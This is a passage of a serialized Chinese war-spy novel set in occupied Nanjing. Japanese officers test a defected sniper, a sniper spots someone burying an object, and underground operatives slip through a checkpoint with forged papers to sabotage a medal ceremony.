渡边下意识拔出手枪,轻轻地打开保险。她必须杜绝可能发生的一切意外! 但见林赤大大咧咧走到桌前,从桌上拿起那把勃朗宁,边端详边道:“将军,这么贵重的礼物我怎能收?我这是夺人之爱,这事我林赤不能干,你还是给我一把普通的手枪吧,贵国的南部手枪在我看来就不错,力道大,射程也远!” “林桑不要见外,我把自己的佩抢给你是因为对你寄予厚望,这也是对林君的信任!” “恭敬不如从命!”林赤毫不谦虚抓起手枪,熟练地把枪检查了一遍,又拔下弹匣,稍稍看了一眼道:“呵呵,子弹满匣啊……”说着把弹匣复原,右手握起手枪,转身对着墙上的“慎独”二字做瞄准状。 渡边的一颗心提到嗓子口,她不自觉将枪口瞄准了林赤。 很快,林赤垂下手臂,喜滋滋把手枪放进兜里,抑不住兴奋道:“将军,有了这把枪,我可以确保刘将军不会受到任何伤害!” 听到这里,渡边松了口气,赶紧蹑手蹑脚下了楼去。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第211章 夜色下的躁动 楼下响起了汽车喇叭声,司机这是在暗示黑木一切准备就绪,可以出发了。 很快渡边探出脑袋,黑木向她招了招手,道:“渡边小姐,你把林先生带回,稍后我们去警备司令部。” 林赤于是微笑和黑木作别,黑木离开座位,拍了拍林赤的肩膀,语重心长说道:“林桑,这些天来委屈你了,回去好好睡一觉,第二天醒来,将会有一个全新的世界等着你!” 林赤颔首,跟着渡边出了房间。 林赤刚走,黑木咳嗽一声,他的卧室房门忽然出现了动静,门被人轻轻打开,一个清瘦的青年从房内悄无声息走出。 在他的手里握着一把手枪。 青年阴沉着脸,走近黑木,缓缓地把手枪递给黑木,轻声道:“将军,还您的佩枪。” 黑木接过手枪,把手枪插进腰间,随口问道:“工藤君,所有的过程你在门后看得很清楚,你们都是优秀的狙击手,能不能从你的角度分析一下,这位林先生的一举一动有没有可疑的迹象?” 工藤夕贵狐疑问道:“将军,他是……?” “他叫林赤,刚刚归顺我帝国皇军!” “哦?我曾听渡边少佐提起过一位姓林的先生,他就是燕子矶那次抓捕行动中的支那狙击手?” 黑木点头,把眼光停在他的脸上,期望他的进一步回答。 “整个过程我全神贯注,生怕他有什么异常举动,从您递给他枪支后,他的行为一直很连贯,神态也很轻松,我倒是没有发现他有什么不轨的想法,尤其在他做瞄准状时,他的枪口一直小心翼翼,他完全是在转身之际才抬起手,并且是把枪口放下后才再次转身面对将军,他之所以如此谨慎,恐是怕您有误解!” “还有,当时的情境,他想杀我,能轻易做到吗?” “将军难道忘了吗,我手臂上的枪伤正是拜此人所赐!何况即使是普通的人,如此近距离,又没有任何遮挡,若想射杀将军,当不会费吹灰之力!” 工藤顿了顿又道:“他是一名狙击手,一名优秀的狙击手,我与他交过手,此人不但冷静、枪法奇准,还有更可怕的一点……” 看到工藤闭口沉默,黑木当即追问:“工藤君快说!” “作为狙击手,都有一个通病,他们一旦埋伏下来是不会轻易移动身位的,主要是怕暴露自己,可是这位林先生不一样,当他发现出于劣势时,不惜冒着暴露的危险,会快速调整隐藏点,此外他还特别善于伪装,因地制宜制造一切机会误导对手,我那次就是上了他的当才吃了亏,否则也不至于……” “如此看来他还是一名机智的狙击手喽?” “是的将军,这也是他的可怕之处!” “这么说,他根本就没有想杀我?”黑木露出后怕的神情,“如果那一瞬间,他起了杀机,工藤君是没有把握阻止的吧?亦或说,我是无法做到全身而退的?” “您叫我来时,并未交待他的身份,我以为就是一位平常的人,现在想想,我不禁为将军捏了一把汗!” 黑木的神态松弛了下来,话锋一转:“你的任务渡边少佐都安排清楚了吗?” “属下已经清楚了,我准备凌晨带狙击小组潜伏到现场,占据广场两翼高楼的制高点,伺机埋伏起来!” “不行,凌晨太晚,你们最迟后半夜动身,别忘了,敌人可不会闲着的,说不定他们已蠢蠢欲动起来了!” 看时间差不多,黑木率先下楼,轿车已经发动,早已候在车旁的川上中佐替他拉开车门,黑木躬身钻进了轿车里,不一会儿渡边小跑而至,待渡边上了车后,川上令司机开车。 车一起步,渡边装作好奇问道:“将军,您给林赤佩抢了吗?” “给!当然给了!”黑木满不在乎说道。 “对于这样一个还在考察期的投诚者,给他佩枪合适吗?” “怎么不合适?既然让他保护刘将军,总不至于两手空空吧?” “我是担心将军您,万一……万一他有不良企图,将军岂不是很危险?” “我这也是进一步对他的试探,现在看来,他好像对我不感兴趣……” “这样的代价也太大了,将军以身试险,值得吗?” “值得!”黑木一副大义凛然的样子,“适当冒点险,判断出一个人的秉性,我以为十分必要!” 渡边脸上呈现出由衷的敬佩,刚要赞叹几句,黑木忽然正色道:“明天的授勋仪式,我们松机关的压力不小啊!” 川上从副驾驶座上回头,接话道:“不是警备司令部负责现场安保吗?我们松机关又不唱主角,能有什么责任?” “话虽这么说,可我更担心的是授勋仪式结束后的惩戒活动,授勋仪式自然戒备森严,但仪式一结束,大部分警备力量都会随着重要人物的离场而撤去,警备司令部没有义务对这样一场他们认为意义不大的惩戒活动草木皆兵,到时所有的重担都会落在我们的肩上,故而保证刘将军的安危就显得更严峻,我们不能让刘将军在我们手里有闪失!” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!渡边插话道:“如果军统真的要刺杀刘将军的话,这对于他们来说,确实是一个好机会!” “是啊,这也是我断下决心、以身试险决定让林赤持械的原因……”黑木把身子从椅背上前移,“这本身就是一步险棋,既要判定军统情报的真实性,又要断了刘将军的后路,可一举两得,所以我和松井将军商议后一致认为冒这样的险值得!” 车里出现沉默,轿车在寂静的街道上飞速行驶。 好半天,渡边小心翼翼道:“还有一事我细思极恐,您让林赤跟随刘将军一道参与惩戒活动,而那位曲小姐恰恰在惩戒之列,一旦林赤看到这样的场景,我以为会有变数!这一点不知将军想过没有?” 黑木把目光投向漆黑的窗外,思索良久,徐徐道:“有些时候长痛不如短痛,如果林先生一味纠缠其中,并以此作为胁迫我皇军的砝码,我宁可弃之如履!” “将军……”渡边的喉咙里有些沙哑,欲言又止。 “渡边小姐,你有话直说!” “我还是想请将军三思,我们和他打交道时间已经不短,我自以为深谙他的性情,此人性格刚烈,尤重情义,如果他看到自己的女友命悬一线,绝不会袖手旁观,恐怕他会不顾一切和我们拼命的!这样的节外生枝还是不要为好!” 黑木扭头看了渡边一眼,尽管只是看到一张朦胧的脸庞,但他几乎可以准确判断出她此时的表情,她的脸上一定是充满殷切之色,极力想让他改变初衷。 “难道你想让我放弃对曲思秋的惩戒?”黑木语气不悦。 “不!属下断无此念!”渡边坚定道,“让林赤早日抛掉幻想,我认为大为必要!” “那渡边少佐有什么好主意吗?”黑木大感意外。 “我赞成先把生米做成熟饭,杀掉曲思秋,让它成为既定事实,到时林赤即使知晓,也无力回天,只能把苦水往肚子里咽!但行刑的时候,把所有的犯人都堵上嘴、戴上头套,不让林赤看到犯人的面孔,岂不更有利?” 警备司令部的会议室里,已济济一堂。 黑木一行差不多是最后一批参会者。 进了会议室,黑木找到自己的座位坐下,他扫视了一眼四周,看到了很多熟悉的面孔,警备司令部作为本次授勋仪式的主角,自然在参会人数上占压倒性优势,除了他熟知的中岛将军和具体担任警备任务的隶属第十六师团二十联队联队长木村少将外,他还看到了宪兵司令清水将军,以及他的下属吉田少佐,此外还有一些叫不出名字的佐级军官,看样子均为联队长以下一级,大多数是情报部门的参谋……黑木收回目光,看到了坐在对面的乃为上海领事馆的岩井先生,黑木微微一笑,算是向他打了个招呼。 黑木的目光继续游走,忽然发现会议桌的后排座位,坐着一位身着便服的陌生面孔,正疑虑间,中岛开口说话了。 “诸位,松机关的黑木将军已到,我看人已到齐,就让我们开始今晚的会议。” 众人赶紧坐正身子。 “会议正式开始之前,请允许我先介绍一下列席本次会议的户田君……” 后排座位的便服陌生男子连忙站起身,躬身说道:“请多关照!” 中岛扬了扬手,示意他入座,接着说道:“户田青木是我帝国朝日新闻的一名记者,为了采访本次授勋仪式,不远千里从本土赶来,昨天才搭乘帝国海军巡洋舰加古号抵达上海,户田君没有来得及休息,便又连夜赶到南京,为的就是把此次南京授勋的空前盛况通过朝日新闻刊发出来,让我们一起对户田君的不辞劳苦表示感谢!” 一时间,会议室里掌声雷动。 …… 与此同时,在南京城建业路建业客栈的那间隐蔽的院落里,也正在悄悄进行着一场意义重大的会议。 和警备司令部的会议不同的是,此处的会议没有掌声,参会人数也寥寥无几。 昏暗的灯光下,一张陈旧的八仙桌周围,团团围坐着五个人。 为首的是名三十来岁左右的青年人,他就是中共南京地下党的负责人镰刀,在他的左手,坐着的分别是红尘茶馆的毕老板和老冒。 在他的右手,坐着的分别是刚刚归建的曲思冬和他的指导员储洪义。 除了镰刀的脸色风轻云淡外,其余的人均面色凝重。 这场会议,从下午一直进行到现在,中途,众人只是吃了两个馒头简单对付了一下,将近六个小时的会议下来,此时此刻,他们的会议已接近尾声。 镰刀的指间依旧夹着一根烟,这已是他刚开封的那包烟的最后一根。抽完这最后一根烟,镰刀独自出了屋子,曲思冬如果没记错的话,这已是他第四次走到院子中,他照例仰头看天,和前几次不一样的是,这次他很快返回屋内,且一脸兴奋。 “我就说嘛,老天爷是会站在我们一边的!”镰刀喜滋滋说道。 无论如何,这句莫名其妙的话还是让在座的所有人一头雾水。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第212章 神秘的影子 黑木走后,工藤夕贵并未马上离去,他好奇的目光在黑木的办公室四处巡视,最后落在了黑木的办公桌后那张气派的座椅上。 那是一张金丝楠木的太师椅,椅身很高,深黄的色泽饱满厚重,庄重中透出华贵。 狙击手工藤夕贵忽然产生的强烈的试坐欲望,当然吸引他的并不是这张太师椅本身的高贵材质,显然是它的赫赫渊源,那一瞬间,他很想知道能担负起中国最高统帅屁股的椅子,到底有何特别之处,说不定当他坐上去后,也能体味到别样的风情。 工藤绕过黑木的办公桌,一屁股坐了上去。 椅面不但坚硬,还毫无弹性,且让他的屁股感到丝丝凉意,和松机关集体食堂的排座椅坐感无二。工藤有些失望,双手摩挲着扶手,把整个身子后倾在椅背上。 别说,宽大的椅身让他一下子找到了感觉,身心得到有效放松,他顿时悠闲起来,好奇的目光接着四处打量,如果条件允许的话,他恨不得哼起小曲。 办公桌桌面已被黑木收拾的干干净净,他的目光毫无悬念落在了肚脐上方的抽屉上,工藤本能地伸手拉了一下抽屉,这一拉,居然发现抽屉没有上锁。 工藤心想,一定是黑木走得匆忙,忘了上锁了。 打开抽屉后,映入他眼帘的,是抽屉里一叠文件上方,躺着的一张信封。 如果信封封上了,或许工藤不会一探究竟,偏偏这信封反面朝上,敞开的封口更像是在挑衅他的求知欲,作为狙击手这样一个终生职业,猎奇本来就是天性,工藤岂能错过。 当然,拿出这封信之前,工藤没有忘记铭记它摆放的位置,以便复原时不被主人怀疑。 身为狙击手必须拥有的另一种特性,那就是谨小慎微,这一点可以负责任地说,工藤夕贵同样具备。 信封很薄,工藤掏出一看,是一张信笺纸。 这张纸上,密密麻麻全是数字,他只是大概扫了一眼,便知是电文编码,不过,编码下方,已被人用母国语言译出,从字迹上看,分明是出自黑木之手。黑木将军的字在整个松机关有口皆碑,苍劲中不失飘逸,他再熟悉不过,记得加盟松机关第一天,他的那支九七式狙击步枪的申领单上批示人的签名就是黑木本人。 奇怪的是,这张信笺纸并非来自于他们松机关,电讯股的译电有专用译电稿纸,工藤在稻田勇的床头见识过,那是稻田以权谋私,拿回作为解手的手纸之用,而他工藤也曾经是受益者之一。 工藤此时已心痒难熬,瞪大着眼睛快速浏览起来。 ——食人兽遗落南京民间,蒋已责令军统全力追查,不惜一切代价夺回。水蛭。 看完这些,工藤略微思索了片刻,就小心翼翼把它复原放回原处。他知道这是一封绝密的电文,内容一定紧要,他还知道,落款 “水蛭”的署名,绝对是一个潜伏特工的代号,尽管这是一份不平常的电文,可他实在想不出这和自己能扯上什么关系,但他的潜意识里清楚,能让敌国最高统帅下令追查的这件叫做“食人兽”的器物,要不价值连城,要不意义非凡,只是他乃一局外人,自有一摊子事等着他去做。 他马上想起即将履行的任务,倏然兴奋了起来。 细细想来,这是他调入松机关,屈指可数的第三项任务。 第一项任务,是在紫金山一带潜伏,伺机寻找目标,这项任务让他一战成名,且上了朝日新闻的头条,被烙上了帝国英雄狙击手的印记;他的第二项任务,是奉命担任燕子矶的抓捕行动中的狙击手,正是此次任务,他和那位林先生遭遇,手臂也中了对方一枪,这一枪虽无大碍,但被孤傲的工藤理解为奇耻大辱,并执着认为会伴随着他的下半生如影随形……想到这儿,工藤愤懑起来,蒙羞的感觉真的很糟糕,如果不是黑木将军当面说出他的来历,他真不愿接受如此现实,他宁愿这位林先生依旧是和帝国对立的敌人,这样便可以一决高低、一洗屈辱。 想到即将而至的任务,工藤在离开黑木的办公室、关上房门之际,他下意识看了看表。 才八点刚过,离警备司令部委派的狙击小组前来松机关和他汇合约定的九点时间,还差一个小时不到,工藤忽然觉得打发这漫长的数十分钟,是一件很头疼的事。百无聊赖的工藤沿着走廊不知不觉来到电讯股,联想到在黑木办公室看到的那份电文,工藤夕贵莫名其妙萌生了探望稻田勇的想法。 推门而入,他却没能看到同寝室的稻田君,一问,有人说他饭后就没来过,也许呆在宿舍里。 工藤更无聊了,信步下楼。 一轮明月从厚重的云层里露出脸庞,但很快又被漂移的浮云遮盖,大地忽明忽暗,树影婆娑。 连日来,天气阴晴不定,唯有今晚,工藤总算看到了攻占南京后的第一轮圆月,看天象,明天是个晴天,视野和能见度应该不错,便于他们狙击小组埋伏在某处阴暗的角落防微杜渐。 这章没有结束,请点击下一页继续阅读!他漫无目的走走停停,不知不觉来到了散步到宿舍后操练场上,操练场的周围,种着七八排松柏树,数量在数百棵之多,由于种植年限久远,这些树木高大挺拔,虽然时值冬季,但松刺叶浓密如盖,把偌大的操练场围成一个不透风的孤岛。 工藤穿过林间的小径,悠悠然向操练场走来。 还没走出松柏林,明月忽然冲破云层,皎洁的光辉刹那间洒向大地,眼尖的工藤忽然发现对面的林子里有个黑影一闪。 工藤本能地把自己隐身于一棵树干后。 黑影显然没有发现工藤,这是因由工藤的走路习惯,自他学会狩猎的那一天起,他走起路来就如同鬼魅悄无声息,故而他虽未刻意为之,但丝毫没有引起黑影的警觉。 印象中,对面的树林后,是一排营房,工藤目测,此时的黑影正处于营房的后墙位置。 工藤屏住呼吸,侧耳聆听。 他的耳朵同样优秀,他接收到了某种细微的沙沙声。 稍加分辨,工藤顿时明白这是对方在用铁锹挖掘着什么。 萦绕在心间的空虚感一下子荡然无存,在那一刻,工藤油然而生出满满的惊喜,他倒要看看,到底是谁如此鬼鬼祟祟地干着见不得人的勾当。 挖掘声持续了五六分钟后,出现了短暂的空隙,紧接着是另一种不同于挖掘的窸窸窣窣的声音,并伴随着对方轻微的喘气,很快,窸窸窣窣的声音消失,又被另一种声音取代,听起来像是在用脚板踩踏泥土……工藤灵光一闪,忽然就明白了一切。 这个神秘的黑影是在墙角下挖了一个很深的坑,然后把某件东西藏了进去,接着他把土填平,并夯实了泥土,可以预见,他定会在土坑上加一些枯叶之类的伪装。果然,在践踏声后,又是窸窸窣窣的声音。 没容工藤多想,黑影突然迈开了脚步,出了对面的林子,踏上了操练场…… 他行进的方向,竟然是工藤藏身地。 工藤大惊失色,正不知如何是好,倏忽间,一阵风起,天上的那轮明月转眼间躲进了云层,一块巨大的阴影铺天盖地压来,大地顿时陷入昏沉之中,说时迟那时快,工藤脚尖迅速移动,闪电般躲进了远离小径的林子深处。 饶是林间枯叶遍地,工藤的脚踩在其上,愣是没发出一丝声息。 黑影确是奔着那条小径而来,这条人为踏出的足辙成了他走出操练场的优选之路,躲在暗处的工藤断定,此人必定熟谙这一带的环境。 可以看出黑影还是相当警惕,当从黑黝黝的林间飞速穿过后,立即小跑起来。 工藤估摸对方跑出十数秒后,马上从林子里探出身子,这时候,黑影已远离他足有四五十米,对方依旧在跑。 工藤心有不甘,毫不犹豫迈开脚步。 就在此时,月亮又从云层里冒了出来,天地间一片皓白,伴着这缕亮色,对方蓦然回首。工藤心呼不妙,隐藏已断无可能,他只能硬着头皮继续向前跑。 这下,黑影彻底慌了,撒开脚步开始狂奔,很快消失在前方的一排宿舍后。 工藤一口气跑到宿舍区门前,视野中,除了两名站岗的卫兵外,已寥无一人。 工藤不得不放慢脚步,装作若无其事踱步进了集体宿舍区。 走廊上,依旧穿梭着形形色色的人,从他们的神态判断,他们均不是嫌疑人。 黑影已不见踪迹。 工藤心中骂了一声娘,穿过纷纷攘攘的集体宿舍区,来到了军官宿舍专区,在这片区域,他和稻田以及川上三人共住的宿舍就在其中。 掏出钥匙,工藤的内心沮丧到了极点。他很快找到了大门钥匙,正当他开锁的时候,忽然发现门未上锁,轻轻一推,门居然开了,工藤这才想起电讯股的稻田可能待在宿舍里。 房间里没有开灯,工藤摸到电灯拉绳开关,一拽,五十瓦的白炽灯把房间照得透亮。 随着万丈光芒,一个不耐烦的声音响起:“谁呀?” 工藤定睛一看,稻田的床上睡着一人,从声音判定,自然是偷懒的稻田。 “回来收拾一下,马上去执行任务。” 稻田从被子里探出脑袋,眯着眼睛打量了工藤夕贵一眼,“哦”了一声,又把脑袋缩了进去。 “怎么,今晚不用值夜班?”工藤随口道。 “怎么会呢……”稻田又伸出脑袋,“这几天连续加班,又困又乏,回来眯一会儿,即刻就去……你吵醒我了!” “对不起了,稻田君!”工藤开始换鞋。 “几点了?”稻田勇有口无心问。 “哟,快九点了,我该出发了,警备司令部的狙击小组应该快到了!” 经他一提示,稻田也惊呼起来:“什么,九点啦?不行,不能再睡了!”稻田从被子中一跃而起。 爬起的稻田身上衣服未褪,显然是和衣而睡,看到工藤盯着他看,稻田赶紧解释道:“吃完晚饭后,衣服也没来得及脱,躺着躺着就睡着了……”说完屁股挪到床沿上开始抬脚穿鞋。 工藤的目光不自觉就落在了他的鞋上,这一看,他忽然就有了疑惑。 稻田的那双皮鞋上,沾满了泥巴。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第213章 驶进警戒圈的轿车 晚间九点,警备司令部的专车准时停在憩庐门前,从车上跳下三名手持狙击步枪的士兵,他们在院子里集结完毕,等着他们的新队长工藤夕贵训话。 几乎是踩着约定的时间点,工藤和稻田同时出现了,两人在憩庐大门口分开,稻田上楼回他的电讯股,工藤提着步枪朝着队列走来。 这是一支只有三人的队列,他们来自中岛的第十六师团,是从一万多名的士兵中遴选而出,据称他们的枪法都很优秀。工藤和众人一一认识,然后作了简短的训话,布置了任务并进行了分工。 四人被分成两组,工藤和另一名少尉每人负责一组,他们的主要任务是扼守鼓楼广场西南和东北两处楼房的制高点,把控局势、杜绝意外。按工藤的分工,他带一名士兵负责占据西南角四层的帝国使馆大楼,那名叫牧野的少尉带一名士兵占据东北角的大楼,那栋大楼只有三层,原为国民政府警察厅的官邸,他们一旦抵达目的地,必须在最快的时间内在大楼的天台上找到一处狙击点并伪装起来。 按照惯例,狙击手在执行任务之前,必须吃饱喝足,工藤于是带着三人来到食堂享受宵夜。 饭菜早就准备好,厨房还特地给他们加了一瓶清酒,四人边吃边聊,不知不觉一个小时过去。按原先的计划,工藤将在凌晨带着他的狙击小组潜往目标地域,后来经黑木一点拨,工藤改变了主意,他决定提前一个小时,可眼下才十点多,距离制定的出发时间为时尚早,倒不是他不想早点出发,而是打心底觉得黑木将军的担忧实在是杞人忧天,自数天前当他得知那名支那狙击手林赤被帝国抓捕后,他心中的那根弦早已松开,他坚信,在小小的南京城,除了林赤外,他根本不会再有什么强悍的对手了。 四人的聊天已到了搜肠刮肚的地步,实在再无大家感兴趣的共同话题,此时工藤的脑海中不由浮现出树林里的诡异黑影,自然联想到稻田那双沾满泥巴的大头皮鞋,接着又鬼使神差想起稻田床下的箱子,他以为这之间必然存在某种联系。 那一刻,工藤内心狂迷,一颗关在笼中的心不禁蠢蠢欲动起来。 工藤以临时回去取样东西为借口抽身出了食堂,毫不犹豫直奔操练场的松柏林而去。 他轻车驾熟,很快来到黑影的现身地,从背囊里掏出微型手电。 手电的光束在地面上探寻,他先是看到一串新鲜的脚印,沿着脚印,光束追踪到了营房后墙的墙根……忽然他看到不远处,裸露出的一个半米深的土坑。 坑里面空无一物,明显是刚被人刨开。 工藤马上闪出一个念头,难道黑影又折返回来,把埋藏之物又取走了? 不容多想,工藤立即关掉手电,第一反应就是向自己的宿舍跑去。 宿舍房门已上锁,工藤掏出钥匙打开房门,他并未开灯,借着走道上的光亮摸到稻田床前,弯腰拉出他的箱子,稍一用力,箱子居然被他提起了。 这已不是原先的手感,工藤当即明白,被稻田藏在这只箱子里的器物已不在了。 带着满腹疑问,工藤再次回到食堂。 明月当空,四人拖曳着短短的影子。 工藤领着三名狙击手出发了,他们的目标:鼓楼广场。 …… 在鼓楼广场东西南北四个方向,一共有四条马路和它紧紧相连接,连接南北方向的叫做中山北路,连接东西方向的是北平路,这两条十字交叉的道路,是进入鼓楼广场必经之路。 临近傍晚的时候,在鼓楼广场外围的这几条干道上,分别被数十名日军士兵占领,并在马路的中央,设上了拒马。 这四个方向的哨卡所肩负的任务,并不是筛查来往行人。他们接到的命令,是阻止一切闲杂人等进入鼓楼广场方圆三公里的范围内。 在这方圆数公里的警戒网构建之后,警备司令部下辖的宪兵司令部清水将军,马上派出一支数百人的警卫部队和一支数十人的工兵部队,开始对辖区内进行拉网式清查。 距离鼓楼广场西面的日本驻南京大使馆一公里处,在北平西路靠近虎踞路不远的地方,由三十多名日军士兵组成的西线卡哨在此设立。而这群士兵的领头人,正是刚刚晋升中尉不久的田中毅。 此时已是夜间十点,明月高悬在西南方向的清凉山上方,显得格外耀眼,低矮的屋脊和光秃秃的树木上涂上了一层淡淡的乳白色,一层氤氲的雾气从大地上袅袅升起,四周一片静谧。 只见田中毅独自一人在拒马内侧来回巡视,不时举头向马路的远处张望。他知道,如此单调的警戒会让他的队伍有些松懈,有些士兵开始抽烟,还有些士兵干脆窃窃私语,这个时候他必须身先士卒,给士兵们树立一个好的榜样。 可他毕竟刚刚晋升中尉,资历较浅,士兵们根本不吃他这一套,依旧我行我素。 一名年纪较大的军曹和一名兵长分别叼着一根烟,把枪撑在地上晃着腿在马路边上侃着大山,似乎在谈彼此的女人,说道兴奋处,两人放肆地哈哈大笑,全然不顾他们的年轻长官的感受。 这章没有结束,请点击下一页继续阅读!田中毅有些生气,决定杀鸡儆猴。 田中毅缓缓来到他们面前,狠狠瞪了军曹一眼,可军曹并不买他的账,若无其事继续高谈阔论。田中毅并非俗人,也绝不是软柿子谁都可以捏的,早已怒不可遏,想都没想一脚踹了上去,军曹没想到一个娃娃脸性格如此粗暴,猝不及防一个趔趄扑倒在地。 “八嘎,你这么大声是想给敌人报信吗?”田中毅面目狰狞,不顾一切呵斥道,“阁下知道明天的授勋仪式有多重要?宪兵司令部一再强调,一定要保持高度警惕,确保万无一失,如果因为我们的不小心,把敌人放了进来,你我都得上军事法庭!” 军曹一下子被田中毅的气势震慑,赶紧鞠躬道歉。 田中毅不依不饶:“为了明天的仪式,我听说今晚宪兵司令部会不间断派出督查小组进行军纪检查,你想让他们看到这一幕吗?” “对不起,田中中尉!”军曹又鞠了一躬。 田中毅怒气渐消,刚要继续在众人面前树立威信,忽然身旁的兵长警惕提醒道:“中尉,好像有情况!” 田中毅连忙转头,顺着兵长的目光一看,果见从西边的马路上射来两束汽车的大灯光。 “全体警戒!”田中毅三步并作两步走出警戒线,与此同时拔出佩枪。 两名士兵亦步亦趋跟在他的身后。 灯光越来越明亮,转眼间汽车已驶近警戒线。 田中毅微微低着头,抬起握枪的右手,并扬起左手做了个接受检查的手势。在他的身后,一排士兵整齐划一举起枪口,一副如临大敌的样子。 汽车在接近田中毅的身前数米远的地方,终于戛然刹车,田中毅一个箭步跑到副驾驶的旁,大喝一声:“口令!” 没有了刺眼的车灯光,田中毅的眼睛很快习惯了周围的环境。 是一辆黑色的福特轿车,但见车窗被人缓缓摇下,田中毅定睛一看,轿车里面坐的清一色本国军人,副驾驶座位上,坐着一名年轻模样的少佐军官,后排座位上分别端坐着持枪的两名士兵。 “邮递马车。”少佐探出脑袋,开始掏口袋,很快从军服上衣口袋掏出一本证件,嘴里道:“宪兵司令部,例行检查军务!”说着不慌不忙递给田中,又道:“听口音,中尉是奈良县人?” “是啊……”田中毅漫不经心回答道,仔细看了看证件,又把眼前的军官和证件照对照了一下,刚把证件照还给少佐,忽然醒悟过来,忙不迭声道:“我听桥本少佐口音,咱们是同乡?” “是的,我桥本太郎是土生土长的奈良县人氏,来自十津川村。” 少佐答道。 田中毅惊喜道:“太好了,十津川村离我家不远,我是……” “好了,田中君,咱们下次再聊,我们还得执行公务!”桥本太郎主动打断了田中。 “是,少佐!”田中毅挥挥手,身后的士兵赶紧将拒马搬开。 轿车徐徐起步,桥本从车窗探出脑袋,朝着田中毅等人摆了摆手。 “少佐慢走!”田中毅意犹未尽,急忙追了上去,“我是第十六师团第二十联队的田中毅,请少佐多多关照!” ……轿车刚驶离田中毅的哨卡,驾驶汽车的日军士兵一手握在方向盘上,另一手赶紧掏出手绢擦汗,嘴里念叨道:“还好,有惊无险!” “有什么好担心的,我不是说过,有了这本证件,即使是进入警备司令部,都不在话下!”“桥本太郎”笑吟吟道。 “储指导员,你说神不神?党组织怎么会弄到这么重要的证件?连鬼子今晚的口令都摸得一清二楚?要我说呀,我看这位新来的镰刀首长不简单!”驾驶员和“桥本太郎”对话刚结束,又回头看了一眼后座上的一名日军下等兵说道。 “陈大军,不该你想的别乱想,好好开你的车!”那位下等兵喝斥道,接着拍了拍“桥本太郎”的肩,好奇道:“张遥,你刚才和那个鬼子叽叽咕咕说什么啦?” “哦,我和他套近乎呢,那位中尉和我是同乡,都是奈良县的。” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第214章 清除障碍 驾驶这辆轿车的,正是陈大军,而副驾驶和后排座位上乘坐的分别是原名小野二郎的张遥及连指导员储洪义,和储洪义并排而坐的,是一个陌生的面孔。 陈大军长吁一口气,接过储洪义的话问张遥:“那个小鬼子中尉后来追上来又对你说什么啦?” “他让我对他多多关照!” “哈哈,原来小鬼子也喜欢拉帮结派啊!” “可不,其实日本人的同乡观念特别重,尤其在部队,哪怕是一个小小的军曹,但凡碰到了老乡,总是千方百计给予照顾。” 短暂的沉默后,陈大军换了一个话题,他头也不回对储洪义道:“老储,你说镰刀首长的计划可行吗?这样的计划也亏他想得出来,只是不知道明天的天气怎样,我们这是要看老天爷的脸色喽!” 这句话提醒了储洪义,他赶紧隔着玻璃仰头看了一眼天空中的明月,自信答道:“你看今晚的月亮特别圆,明天应该是个晴天。” 张遥于是也把脑袋伸向窗外,附和道:“我还是第一次在南京看到这么圆的月亮!” 储洪义听到张遥的这句感慨,若有所思起来,好一会儿,嘴唇动了动,想向张遥问些什么,但还是忍住了。 “但愿明天别出什么意外!”陈大军专心开着车,冷不丁说了一句,声音很轻,似乎是在自言自语,半晌,再次向储洪义发问道:“老储,有句话不知该不该问,镰刀同志这样做的目的到底是什么?” “他应该有他的深意,你就别多想了!”储洪义看了身旁的那位陌生面孔一眼,言语有些不耐烦,沉思片刻,又补充道:“镰刀同志不是强调了嘛,小鬼子也太目中无人了,不教训教训他们,他们总以为我们中国人死绝了……不管如何,我们不能让鬼子的这场授勋仪式太顺利,给他们制造些麻烦,那是必须的!” 车愈近鼓楼广场,街上巡逻的日本士兵明显多了起来,空气中弥漫着紧张的气氛,车上的每一个人,不自觉地缄默起来。很快,车至日本南京大使馆,在使馆临街的铁珊门前,已布满了岗哨。 轿车继续前行七八十米,霓虹灯下木屋居,呈现出另一派景象,繁华在飞舞的流光衬托下怎么看都是一种奢靡。 绕过鼓楼广场,轿车在广场东北角的一栋三层的楼房前停了下来,它就是原警察厅官邸,朦胧的月光下,依稀可辨这是一栋典型的民国建筑,青砖白墙,主楼为三层钢筋混凝土结构西方现代建筑形式,而楼式又有传统意味,正视和俯视图都呈“山”字形。高大的院门呈拱形,大门与主楼的中心点在同一轴线上,中间设有圆形喷泉式花池,布局庄重大方。 如今,这栋大楼已废弃不用,最大的原因是它在数月前遭受到了日军飞机的空袭,整座大楼损毁严重,尤其是它的墙面和屋顶,已被从天而降的炸弹重创,至今无人修葺,此外,国民政府不得已的撤离,留下了太多更优于此地的富丽堂皇的房子,足以满足日军各大军事机构的驻屯。 车一停妥,储洪义从后排座位下提起一大包东西,径自钻进大楼。他的身后,那名陌生面孔紧紧相随。 进了大楼,储洪义命身后那人留在厅内,自己独自一人上了楼顶。 张遥让陈大军不要熄火,自己从副驾驶座上走下,但他并没有跟着储洪义他们进去,而是倚在副驾驶的车门上,从兜里掏出烟,递给陈大军一根,自己也点上一根,悠闲抽起烟来。 他面对着鼓楼广场,目光看似漫不经心,其实内心充满警惕。 一个小时前,储洪义驾车回“思”棺材铺,点了他和陈大军的将,说有紧急任务。他们换上老储带回的日军军服立即登车,上车后,储洪义连忙详细叙说了任务内容。 再后来,他们的车在虎踞路上,接上了一人,也是穿着日军普通士兵军服,他就是和储洪义并排而坐的陌生面孔。这人上车后,储洪义分别作了介绍,此人叫徐格,至于具体身份,储洪义没有进一步披露,只是说是一同参与任务的执行。 据老储描述,此项任务主要是破坏敌人的授勋仪式,尽量制造大的动静让敌人不得安生,杀杀鬼子的锐气。但张遥隐隐感觉这个任务没这么简单,问他们的指导员,老储秘而不宣,声称自己对镰刀首长的整个计划一无所知,他们只是执行计划中的某一环。 